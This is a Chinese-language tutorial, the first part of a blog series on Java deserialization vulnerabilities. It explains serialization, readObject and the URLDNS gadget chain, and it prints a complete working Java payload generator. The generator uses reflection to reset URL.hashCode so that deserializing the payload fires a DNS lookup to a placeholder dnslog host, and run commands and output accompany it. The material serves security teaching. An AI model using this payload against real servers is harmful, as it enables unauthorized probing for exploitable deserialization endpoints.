文章目录
-
- 一、什么是序列化与反序列化?
-
- [1.1 基本概念](#1.1 基本概念)
- [1.2 为什么需要序列化?](#1.2 为什么需要序列化?)
- [1.3 Java 中的实现](#1.3 Java 中的实现)
- [1.4 Serializable 接口](#1.4 Serializable 接口)
- [二、Java 序列化的"魔法方法"](#二、Java 序列化的"魔法方法")
-
- [2.1 什么是魔法方法?](#2.1 什么是魔法方法?)
- [2.2 readObject() 的自动调用](#2.2 readObject() 的自动调用)
- [三、URLDNS:经典的 DNS 探测技术](#三、URLDNS:经典的 DNS 探测技术)
- 四、常见的错误理解(以及为什么错了)
-
- [4.1 错误的代码示例](#4.1 错误的代码示例)
- [4.2 错误的执行链(构造阶段)](#4.2 错误的执行链(构造阶段))
- [4.3 错误的原因分析](#4.3 错误的原因分析)
- [4.4 真相是什么?](#4.4 真相是什么?)
- [五、正确的 URLDNS 实现](#五、正确的 URLDNS 实现)
-
- [5.1 完整代码](#5.1 完整代码)
- [5.2 核心原理](#5.2 核心原理)
- [5.3 编译运行](#5.3 编译运行)
- [5.4 运行结果](#5.4 运行结果)
- 六、总结
-
- [6.1 核心要点](#6.1 核心要点)
- [6.2 下一篇预告](#6.2 下一篇预告)
- 附录:术语表
系列导读:本文是 Java 反序列化漏洞系列文章的第一篇,重点讲解序列化基础原理、URLDNS 的局限性,以及如何在反序列化时真正触发 DNS 探测。第二篇将深入 RCE 漏洞利用与防御策略。
仓库地址:https://gitcode.com/lcreek/Security->DeserializationVuln
一、什么是序列化与反序列化?
1.1 基本概念
序列化(Serialization):将 Java 对象转换成字节流的过程。
反序列化(Deserialization):将字节流还原成 Java 对象的过程。
1.2 为什么需要序列化?
想象你要把一个快递寄给朋友:
- 序列化 = 把物品打包成包裹(对象 → 字节流)
- 网络传输 = 快递运输(字节流通过网络发送)
- 反序列化 = 朋友拆开包裹(字节流 → 对象)
1.3 Java 中的实现
java
// 序列化:对象 → 文件
Object obj = new HashMap();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
oos.writeObject(obj); // 写入文件
// 反序列化:文件 → 对象
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("data.ser"));
Object obj = ois.readObject(); // 读取并还原对象
1.4 Serializable 接口
要让一个类可以被序列化,必须实现 Serializable 接口:
java
public class User implements Serializable {
private String name;
private int age;
}
Serializable 是一个标记接口,里面没有任何方法。它只是告诉 JVM:"这个类的对象可以被序列化"。
二、Java 序列化的"魔法方法"
2.1 什么是魔法方法?
Java 序列化机制有一些特殊的方法,会在序列化/反序列化时自动调用,无需任何人显式调用。
| 方法 | 触发时机 | 危险等级 |
|---|---|---|
readObject() |
反序列化对象时 | 🔴 高 |
readResolve() |
反序列化完成后 | 🔴 高 |
writeObject() |
序列化对象时 | 🟡 中 |
重点:这些方法不需要任何人显式调用,JVM 会自动执行!
2.2 readObject() 的自动调用
java
// 目标服务器代码
ObjectInputStream ois = new ObjectInputStream(inputStream);
Object obj = ois.readObject(); // ← 只需这一行!
JVM 内部流程:
1. ois.readObject() 读取序列化数据
2. 发现数据中包含 MyClass 对象
3. 自动调用 MyClass.readObject()
4. readObject() 中的代码执行
关键 :如果攻击者能在 readObject() 中写入恶意代码,就能在反序列化时自动执行!
三、URLDNS:经典的 DNS 探测技术
关键特点:
- 使用
URL作为HashMap的 key - 反序列化时会触发 DNS 查询
- 不需要第三方依赖
四、常见的错误理解(以及为什么错了)
在实现 URLDNS 时,很多人会犯一个经典的错误,让我们来分析一下:
4.1 错误的代码示例
java
import java.io.*;
import java.net.URL;
import java.util.HashMap;
public class URLDns {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> map = new HashMap<>();
URL url = new URL("http://xxx.dnslog.cn");
map.put(url, 1); // ← DNS 在这里触发!
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("dns.ser"));
oos.writeObject(map);
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dns.ser"));
ois.readObject(); // ← 这里不会触发 DNS!
}
}
4.2 错误的执行链(构造阶段)
map.put(url, 1)
↓
HashMap.hash(key) // 计算 key 的哈希值
↓
URL.hashCode() // URL 的 hashCode 方法
↓
URLStreamHandler.hashCode()
↓
getHostAddress() // 获取主机地址
↓
InetAddress.getByName("xxx.dnslog.cn") // ← DNS 查询!
4.3 错误的原因分析
这个问题曾经被错误地解释为:
问题:DNS 查询在构造 Payload 时就触发了,而不是在目标服务器反序列化时。
原因:URL.hashCode 是 transient 字段。
java// URL.java 源码(错误理解) public class URL implements Serializable { private transient int hashCode = -1; // ← 误以为是 transient! }错误的执行流程:
===== 攻击者机器 ===== [1] 创建 URL("http://xxx.dnslog.cn") [2] map.put(url, 1) → hash(url) → url.hashCode() → DNS 查询触发!(构造阶段) [3] 序列化 map → 误以为 url.hashCode 是 transient,不会被保存 ===== 目标服务器 ===== [4] 反序列化 map → 误以为 url.hashCode = 0(transient int 的默认值) → url.hashCode() 检查:if (hashCode != -1) return hashCode; → 0 != -1,直接返回 0 → 不会触发 DNS!
4.4 真相是什么?
实际上,上面的解释有两个关键错误:
- 错误 1 :
hashCode字段本身不是transient! - 错误 2 :反序列化后
hashCode不会变成0,而是变成put()时的缓存值(如-1940799612)
让我们用真实的测试来验证:
测试结果:
map.put(url, 1)→ DNS 在构造阶段触发- 反序列化时
url.hashCode= 缓存值(非-1)→ 不会触发 DNS
真正的原因:
hashCode不是 transient,会被正常保存和恢复put()后url.hashCode已经是缓存值(非-1)- 序列化时保存这个缓存值,反序列化后也恢复这个缓存值
- 反序列化时调用
url.hashCode()→ 直接返回缓存值 → 不会触发 DNS!
这就是为什么我们需要:
- 自定义
SilentHandler→ 阻止构造阶段的 DNS - 反射设置
hashCode = -1→ 确保序列化时保存-1
五、正确的 URLDNS 实现
5.1 完整代码
核心文件 :[DnsLogExploit.java]
java
import java.io.*;
import java.lang.reflect.Field;
import java.net.*;
import java.util.HashMap;
import java.util.Map;
public class DnsLogExploit {
public static void main(String[] args) throws Exception {
String dnsHost = "http://xxx.dnslog.cn";
String payloadFile = "dnslog_payload.ser";
// 步骤 1:构造并序列化(不会触发 DNS)
Map<URL, String> payload = createPayload(dnsHost);
serializePayload(payload, payloadFile);
// 步骤 2:反序列化(触发 DNS)
deserializePayload(payloadFile);
}
private static Map<URL, String> createPayload(String dnsHost) throws Exception {
URLStreamHandler handler = new SilentHandler();
URL url = new URL(null, dnsHost, handler);
Map<URL, String> map = new HashMap<>();
map.put(url, "probe");
// 反射设置 hashCode 为 -1,确保反序列化时重新计算触发 DNS
Field field = URL.class.getDeclaredField("hashCode");
field.setAccessible(true);
field.set(url, -1);
return map;
}
private static void serializePayload(Object obj, String filename) throws IOException {
try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(filename))) {
oos.writeObject(obj);
}
}
private static void deserializePayload(String filename) throws IOException, ClassNotFoundException {
try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename))) {
ois.readObject(); // ← 触发 DNS 查询!
}
}
}
// 静默 URLStreamHandler - 阻止构造 Payload 时触发 DNS
class SilentHandler extends URLStreamHandler {
@Override
protected URLConnection openConnection(URL u) {
return null;
}
@Override
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
5.2 核心原理
===== 构造 Payload(不会触发 DNS)=====
[1] new URL(null, dnsHost, handler)
→ 使用自定义 SilentHandler
[2] map.put(url, "probe")
→ hash(url) → url.hashCode()
→ SilentHandler.getHostAddress() 返回 null
→ DNS 不触发!
→ url.hashCode = -1940799612(缓存值)
[3] 反射设置 url.hashCode = -1 (关键!)
→ 确保序列化时保存的值是 -1
[4] 序列化 map
→ URL.writeObject 调用 defaultWriteObject(),正常保存 hashCode = -1(因为 hashCode 不是 transient)
→ handler 是 transient,不会被保存
→ hostAddress 是 transient,不会被保存
===== 反序列化(触发 DNS)=====
[5] ois.readObject()
→ HashMap.readObject() 重建 HashMap
→ URL.readObject 调用 defaultReadObject(),正常恢复 hashCode = -1
→ handler = null(transient 恢复为对象引用默认值)
→ hostAddress = null(transient 恢复为对象引用默认值)
→ 重新计算 key 的 hashCode
→ url.hashCode = -1,需要重新计算
→ 使用默认 URLStreamHandler
→ 默认 getHostAddress() 调用 InetAddress.getByName()
→ DNS 查询触发!
为什么必须设置 hashCode = -1?
- URL 类的
writeObject/readObject只是调用defaultWriteObject()/defaultReadObject() hashCode字段不是transient,会被正常保存和恢复- 如果不设置回
-1,反序列化后hashCode仍然是缓存值(如-1940799612) - 调用
url.hashCode()会直接返回缓存值,不会触发 DNS!
完整调用链(反序列化时):
ObjectInputStream.readObject()
↓
HashMap.readObject()
↓
HashMap.putVal()
↓
HashMap.hash(key) // 计算 key 的哈希值
↓
URL.hashCode() // URL 的 hashCode 方法
↓
URLStreamHandler.hashCode(URL)
↓
URLStreamHandler.getHostAddress(URL) // 获取主机地址
↓
InetAddress.getByName("xxx.dnslog.cn") // ← DNS 查询!
5.3 编译运行
powershell
# 进入项目目录
cd d:\Programs\Security\DeserializationVuln
# 编译
.\build.ps1
# 运行 DNS 探测(需要 --add-opens 允许反射访问)
java --add-opens java.base/java.net=ALL-UNNAMED -cp out DnsLogExploit
5.4 运行结果
=== DNSLog 反序列化利用链 ===
[1] 构造并序列化 Payload...
✓ 序列化完成
[2] 反序列化(触发 DNS 查询)...
✓ DNS 查询触发!
=== 演示完成 ===
关键观察:DNS 查询只在反序列化时触发!
六、总结
6.1 核心要点
- 魔法方法 :
readObject()等会在反序列化时自动调用 - 正确的 URLDNS 实现 :
- 使用自定义
SilentHandler重写getHostAddress()阻止构造时 DNS - 反射设置
hashCode为-1确保反序列化时重新计算 handler是transient字段,反序列化时为null,使用默认 handler 触发 DNS
- 使用自定义
- JVM 模块限制 :需要
--add-opens java.base/java.net=ALL-UNNAMED允许反射访问
6.2 下一篇预告
在第二篇文章中,我们将:
- 从 DNS 探测升级到 RCE(远程代码执行)
- 分析真实的反序列化漏洞案例(WebLogic、Jenkins、Shiro)
- 深入 Commons Collections Gadget Chain
- 学习如何防御反序列化漏洞
附录:术语表
| 术语 | 解释 |
|---|---|
| 序列化 | 将对象转换成字节流 |
| 反序列化 | 将字节流还原成对象 |
| Payload | 攻击者构造的恶意数据 |
| Gadget | 可被利用的类或方法 |
| Gadget Chain | 多个 Gadget 组合成的利用链 |
| RCE | Remote Code Execution(远程代码执行) |
| transient | Java 关键字,标记不被序列化的字段 |